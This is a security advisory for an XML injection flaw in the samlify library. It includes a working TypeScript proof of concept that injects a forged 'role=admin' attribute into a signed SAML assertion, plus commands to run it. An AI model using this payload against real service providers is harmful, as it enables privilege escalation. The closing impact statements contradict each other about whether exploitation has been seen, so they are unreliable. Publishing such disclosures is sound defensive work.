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GHSA-34r5-q4jw-r36m
No affected components available
Summary
samlify’s template substitution only escapes attribute contexts. Values inserted into element text (e.g., <saml:AttributeValue>) are not escaped. A normal user can inject XML markup into an attribute value (e.g., email, name) and add new <saml:Attribute> elements inside the signed assertion. The IdP then signs the tampered assertion and the SP accepts the injected attributes as trusted. This allows privilege escalation when attributes are used for authorization (roles/groups).
Root Cause
src/libsaml.ts → replaceTagsByValue() only escapes placeholders when preceded by a quote (attribute context). Element text is inserted raw. The attribute builder inserts placeholders into element text:
<saml:AttributeValue ...>{attrUserX}</saml:AttributeValue>
Therefore, </saml:AttributeValue>…<saml:Attribute …> is accepted and signed.
Proof-of-concept
- poc/attribute_injection.ts
import { readFileSync } from 'fs';
import * as samlify from '../index';
import * as validator from '@authenio/samlify-xsd-schema-validator';
samlify.setSchemaValidator(validator);
const { IdentityProvider, ServiceProvider, SamlLib: libsaml, Utility: util } = samlify as any;
const loginResponseTemplate = {
context: '<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="{ID}" Version="2.0" IssueInstant="{IssueInstant}" Destination="{Destination}" InResponseTo="{InResponseTo}"><saml:Issuer>{Issuer}</saml:Issuer><samlp:Status><samlp:StatusCode Value="{StatusCode}"/></samlp:Status><saml:Assertion ID="{AssertionID}" Version="2.0" IssueInstant="{IssueInstant}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"><saml:Issuer>{Issuer}</saml:Issuer><saml:Subject><saml:NameID Format="{NameIDFormat}">{NameID}</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="{SubjectConfirmationDataNotOnOrAfter}" Recipient="{SubjectRecipient}" InResponseTo="{InResponseTo}"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="{ConditionsNotBefore}" NotOnOrAfter="{ConditionsNotOnOrAfter}"><saml:AudienceRestriction><saml:Audience>{Audience}</saml:Audience></saml:AudienceRestriction></saml:Conditions>{AttributeStatement}</saml:Assertion></samlp:Response>',
attributes: [
{ name: 'mail', valueTag: 'user.email', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' },
{ name: 'injection', valueTag: 'user.injection', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' },
],
};
const idp = IdentityProvider({
privateKey: readFileSync('./test/key/idp/privkey.pem'),
privateKeyPass: 'q9ALNhGT5EhfcRmp8Pg7e9zTQeP2x1bW',
isAssertionEncrypted: false,
metadata: readFileSync('./test/misc/idpmeta.xml'),
loginResponseTemplate,
});
const sp = ServiceProvider({
privateKey: readFileSync('./test/key/sp/privkey.pem'),
privateKeyPass: 'VHOSp5RUiBcrsjrcAuXFwU1NKCkGA8px',
isAssertionEncrypted: false,
metadata: readFileSync('./test/misc/spmeta.xml'),
});
const buildTemplate = (_idp: any, _sp: any, _binding: any, user: any) => (template: string) => {
const now = new Date();
const fiveMinutesLater = new Date(now.getTime() + 300_000);
const tvalue = {
ID: _idp.entitySetting.generateID(),
AssertionID: _idp.entitySetting.generateID(),
Destination: _sp.entityMeta.getAssertionConsumerService('post'),
Audience: _sp.entityMeta.getEntityID(),
SubjectRecipient: _sp.entityMeta.getAssertionConsumerService('post'),
NameIDFormat: 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress',
NameID: user.email,
Issuer: _idp.entityMeta.getEntityID(),
IssueInstant: now.toISOString(),
ConditionsNotBefore: now.toISOString(),
ConditionsNotOnOrAfter: fiveMinutesLater.toISOString(),
SubjectConfirmationDataNotOnOrAfter: fiveMinutesLater.toISOString(),
InResponseTo: 'request-id',
StatusCode: 'urn:oasis:names:tc:SAML:2.0:status:Success',
attrUserEmail: user.email,
attrUserInjection: user.injection,
};
return { id: tvalue.ID, context: libsaml.replaceTagsByValue(template, tvalue) };
};
async function main() {
const injection = [
'safe',
'</saml:AttributeValue></saml:Attribute>',
'<saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">',
'<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">admin</saml:AttributeValue>',
'</saml:Attribute>',
'<saml:Attribute Name="injection" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">',
'<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">safe'
].join('');
const user = { email: 'user@esaml2.com', injection };
const { context: SAMLResponse } = await idp.createLoginResponse(
sp,
{ extract: { request: { id: 'request-id' } } },
'post',
user,
buildTemplate(idp, sp, 'post', user)
);
const xml = util.base64Decode(SAMLResponse, true).toString();
console.log('--- Generated XML snippet ---');
console.log(xml.slice(xml.indexOf('<saml:AttributeStatement'), xml.indexOf('</saml:AttributeStatement>') + 26));
const { extract } = await sp.parseLoginResponse(idp, 'post', { body: { SAMLResponse } });
console.log('Parsed attributes:', extract.attributes);
}
main().catch(err => {
console.error('PoC failed:', err?.message || err);
process.exitCode = 1;
});
Run:
npm install --legacy-peer-deps
npx ts-node poc/attribute_injection.ts
Impact
A normal user can inject arbitrary attributes (e.g., role=admin) into a signed assertion and have them parsed by sp.parseLoginResponse(). This can grant elevated privileges in SPs that trust SAML attributes.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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